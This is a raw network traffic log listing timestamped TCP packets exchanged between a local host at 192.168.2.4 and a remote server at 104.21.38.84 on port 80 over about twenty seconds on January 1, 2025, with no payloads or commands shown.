Jan 1, 2025 15:19:47.814249992 CET	50225	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:47.814727068 CET	80	50226	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:47.814785004 CET	50226	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:47.814925909 CET	50226	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:47.819766998 CET	80	50226	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:48.170620918 CET	50226	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:48.175970078 CET	80	50226	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:48.266649961 CET	80	50226	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:48.334764004 CET	50226	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:48.433252096 CET	80	50226	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:48.556832075 CET	50227	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:48.556833982 CET	50226	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:48.561589956 CET	80	50227	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:48.561712027 CET	80	50226	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:48.563107014 CET	50227	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:48.563107967 CET	50226	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:48.563173056 CET	50227	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:48.567926884 CET	80	50227	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:48.922996044 CET	50227	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:48.927854061 CET	80	50227	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:49.015549898 CET	80	50227	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:49.061120033 CET	50227	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:49.281294107 CET	80	50227	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:49.328983068 CET	50227	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:49.400422096 CET	50227	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:49.400481939 CET	50228	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:49.405277014 CET	80	50228	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:49.405379057 CET	80	50227	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:49.405385971 CET	50228	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:49.405498028 CET	50228	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:49.405627012 CET	50227	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:49.410245895 CET	80	50228	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:49.764383078 CET	50228	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:49.769185066 CET	80	50228	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:49.876897097 CET	80	50228	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:50.005292892 CET	50228	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:50.052647114 CET	80	50228	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:50.108006954 CET	50228	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:50.169472933 CET	50228	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:50.170391083 CET	50229	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:50.174598932 CET	80	50228	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:50.174645901 CET	50228	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:50.175190926 CET	80	50229	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:50.175251961 CET	50229	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:50.175337076 CET	50229	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:50.180109978 CET	80	50229	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:50.529951096 CET	50229	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:50.534822941 CET	80	50229	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:50.618776083 CET	80	50229	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:50.672983885 CET	50229	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:50.802512884 CET	80	50229	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:50.860980034 CET	50229	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:50.932976961 CET	50229	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:50.932979107 CET	50230	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:50.937809944 CET	80	50230	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:50.938057899 CET	80	50229	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:50.941272974 CET	50229	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:50.941293001 CET	50230	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:50.941328049 CET	50230	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:50.947061062 CET	80	50230	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:50.952975988 CET	50231	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:50.953000069 CET	50230	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:50.958652020 CET	80	50231	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:50.961080074 CET	50231	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:50.961173058 CET	50231	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:50.968571901 CET	80	50231	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:50.998420954 CET	80	50230	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:51.072978020 CET	50232	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:51.077775955 CET	80	50232	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:51.077896118 CET	50232	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:51.078170061 CET	50232	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:51.082987070 CET	80	50232	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:51.311208963 CET	50231	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:51.316082954 CET	80	50231	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:51.316121101 CET	80	50231	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:51.330929041 CET	80	50230	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:51.333136082 CET	50230	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:51.436976910 CET	50232	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:51.441852093 CET	80	50232	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:51.455276012 CET	80	50231	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:51.500981092 CET	50231	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:51.559354067 CET	80	50232	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:51.607994080 CET	50232	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:51.714073896 CET	80	50231	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:51.764251947 CET	50231	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:51.812021971 CET	80	50232	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:51.857990026 CET	50232	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:51.934541941 CET	50231	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:51.934894085 CET	50232	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:51.935372114 CET	50233	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:51.939519882 CET	80	50231	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:51.939563036 CET	50231	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:51.939842939 CET	80	50232	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:51.939883947 CET	50232	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:51.940171003 CET	80	50233	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:51.940234900 CET	50233	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:51.940344095 CET	50233	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:51.945120096 CET	80	50233	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:52.295588017 CET	50233	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:52.300368071 CET	80	50233	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:52.395909071 CET	80	50233	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:52.436114073 CET	50233	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:52.658247948 CET	80	50233	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:52.704973936 CET	50233	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:52.777003050 CET	50234	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:52.781965971 CET	80	50234	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:52.785128117 CET	50234	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:52.785128117 CET	50234	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:52.789941072 CET	80	50234	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:53.140973091 CET	50234	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:53.145824909 CET	80	50234	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:53.232903957 CET	80	50234	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:53.280968904 CET	50234	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:53.482384920 CET	80	50234	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:53.529865980 CET	50234	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:53.610027075 CET	50234	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:53.610956907 CET	50235	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:53.615008116 CET	80	50234	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:53.615071058 CET	50234	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:53.615814924 CET	80	50235	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:53.615885973 CET	50235	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:53.619434118 CET	50235	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:53.624178886 CET	80	50235	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:53.967618942 CET	50235	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:53.972491026 CET	80	50235	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:54.074202061 CET	80	50235	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:54.123610020 CET	50235	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:54.242326021 CET	80	50235	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:54.295604944 CET	50235	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:54.372374058 CET	50235	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:54.373267889 CET	50236	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:54.377345085 CET	80	50235	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:54.377418995 CET	50235	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:54.378154993 CET	80	50236	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:54.378215075 CET	50236	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:54.378305912 CET	50236	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:54.383086920 CET	80	50236	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:54.733196974 CET	50236	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:54.738034964 CET	80	50236	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:54.861038923 CET	80	50236	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:54.920957088 CET	50236	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:55.125124931 CET	80	50236	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:55.172964096 CET	50236	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:55.245160103 CET	50236	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:55.248966932 CET	50237	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:55.250217915 CET	80	50236	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:55.253055096 CET	50236	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:55.253758907 CET	80	50237	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:55.253937006 CET	50237	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:55.253937006 CET	50237	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:55.258728027 CET	80	50237	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:55.608241081 CET	50237	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:55.613085985 CET	80	50237	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:55.705306053 CET	80	50237	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:55.748604059 CET	50237	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:55.960802078 CET	80	50237	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:56.014234066 CET	50237	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:56.076014042 CET	50237	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:56.077106953 CET	50238	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:56.081034899 CET	80	50237	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:56.081079006 CET	50237	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:56.081921101 CET	80	50238	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:56.081979990 CET	50238	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:56.082091093 CET	50238	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:56.086888075 CET	80	50238	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:56.436202049 CET	50238	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:56.441181898 CET	80	50238	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:56.540786028 CET	80	50238	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:56.592958927 CET	50238	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:56.711446047 CET	80	50238	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:56.718483925 CET	50238	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:56.718483925 CET	50239	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:56.723371029 CET	80	50239	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:56.723560095 CET	80	50238	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:56.723654032 CET	50238	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:56.723659039 CET	50239	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:56.724952936 CET	50239	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:56.729749918 CET	80	50239	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:56.836961031 CET	50239	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:56.840945005 CET	50240	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:56.845741034 CET	80	50240	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:56.846046925 CET	50240	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:56.846188068 CET	50240	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:56.850960016 CET	80	50240	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:56.882421970 CET	80	50239	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:57.087934017 CET	80	50239	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:57.088118076 CET	50239	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:57.204955101 CET	50240	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:57.209791899 CET	80	50240	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:57.308686018 CET	80	50240	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:57.360955954 CET	50240	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:57.481606960 CET	80	50240	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:57.529850960 CET	50240	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:57.606980085 CET	50240	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:57.608027935 CET	50241	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:57.612014055 CET	80	50240	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:57.612061024 CET	50240	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:57.612791061 CET	80	50241	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:57.612844944 CET	50241	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:57.612982988 CET	50241	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:57.617805004 CET	80	50241	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:57.967437983 CET	50241	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:57.972374916 CET	80	50241	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:58.060192108 CET	80	50241	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:58.107984066 CET	50241	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:58.315138102 CET	80	50241	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:58.315385103 CET	50241	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:58.320497990 CET	80	50241	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:58.320550919 CET	50241	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:58.436608076 CET	50242	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:58.442204952 CET	80	50242	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:58.442274094 CET	50242	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:58.442461967 CET	50242	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:58.447242975 CET	80	50242	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:58.795698881 CET	50242	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:58.800601959 CET	80	50242	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:58.915088892 CET	80	50242	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:58.967348099 CET	50242	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:59.169553995 CET	80	50242	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:59.217930079 CET	50242	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:59.290189028 CET	50242	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:59.291491985 CET	50243	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:59.295264959 CET	80	50242	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:59.295592070 CET	50242	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:59.484591961 CET	80	50243	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:59.485106945 CET	50243	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:59.487957954 CET	50243	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:59.493741035 CET	80	50243	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:59.842396975 CET	50243	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:59.847240925 CET	80	50243	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:59.932735920 CET	80	50243	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:59.982953072 CET	50243	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:00.102757931 CET	80	50243	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:00.154844999 CET	50243	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:00.231734991 CET	50243	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:00.232474089 CET	50244	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:00.236737013 CET	80	50243	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:00.236789942 CET	50243	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:00.237370968 CET	80	50244	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:00.237538099 CET	50244	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:00.237600088 CET	50244	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:00.242403030 CET	80	50244	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:00.594980955 CET	50244	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:00.599837065 CET	80	50244	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:00.680897951 CET	80	50244	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:00.733025074 CET	50244	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:00.855139971 CET	80	50244	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:00.904889107 CET	50244	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:00.979000092 CET	50245	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:00.978998899 CET	50244	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:00.983825922 CET	80	50245	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:00.983908892 CET	50245	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:00.984019995 CET	80	50244	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:00.984049082 CET	50245	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:00.984071016 CET	50244	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:00.988831043 CET	80	50245	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:01.344933033 CET	50245	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:01.349776983 CET	80	50245	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:01.426877022 CET	80	50245	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:01.485028982 CET	50245	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:01.687005043 CET	80	50245	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:01.732978106 CET	50245	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:01.836792946 CET	50245	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:01.837372065 CET	50246	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:01.842138052 CET	80	50245	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:01.842186928 CET	80	50246	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:01.842192888 CET	50245	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:01.842269897 CET	50246	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:01.842694044 CET	50246	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:01.844413996 CET	50247	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:01.846374035 CET	50246	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:01.847475052 CET	80	50246	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:01.849268913 CET	80	50247	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:01.849339962 CET	50247	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:01.853142023 CET	50247	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:01.857922077 CET	80	50247	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:01.894388914 CET	80	50246	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:01.980804920 CET	50248	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:01.985872030 CET	80	50248	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:01.985969067 CET	50248	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:01.986078024 CET	50248	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:01.991337061 CET	80	50248	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:02.201276064 CET	80	50246	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:02.201334953 CET	50246	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:02.206439972 CET	50247	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:02.211257935 CET	80	50247	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:02.211306095 CET	80	50247	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:02.292767048 CET	80	50247	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:02.342387915 CET	50247	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:02.342485905 CET	50248	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:02.347297907 CET	80	50248	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:02.439233065 CET	80	50248	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:02.469516993 CET	80	50247	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:02.482999086 CET	50248	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:02.514214039 CET	50247	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:02.627012968 CET	80	50248	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:02.670495033 CET	50248	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:02.743897915 CET	50247	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:02.743978977 CET	50248	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:02.744601965 CET	50249	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:02.748861074 CET	80	50247	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:02.749253035 CET	80	50248	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:02.749342918 CET	50248	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:02.749346018 CET	50247	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:02.749361992 CET	80	50249	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:02.749505043 CET	50249	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:02.749664068 CET	50249	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:02.754417896 CET	80	50249	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:03.108071089 CET	50249	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:03.112899065 CET	80	50249	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:03.213027954 CET	80	50249	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:03.267030001 CET	50249	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:03.373936892 CET	80	50249	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:03.374614000 CET	50249	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:03.379708052 CET	80	50249	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:03.379888058 CET	50249	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:03.498951912 CET	50250	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:03.504285097 CET	80	50250	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:03.507353067 CET	50250	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:03.507420063 CET	50250	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:03.513293982 CET	80	50250	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:03.858067989 CET	50250	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:03.862946987 CET	80	50250	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:03.980621099 CET	80	50250	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:04.029845953 CET	50250	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:04.154850960 CET	80	50250	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:04.201706886 CET	50250	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:04.286766052 CET	50250	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:04.287442923 CET	50251	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:04.291708946 CET	80	50250	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:04.291757107 CET	50250	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:04.292272091 CET	80	50251	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:04.292327881 CET	50251	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:04.292398930 CET	50251	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:04.297122955 CET	80	50251	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:04.639484882 CET	50251	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:04.644340038 CET	80	50251	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:04.746526003 CET	80	50251	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:04.842405081 CET	50251	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:05.004865885 CET	80	50251	104.21.38.84	192.168.2.4
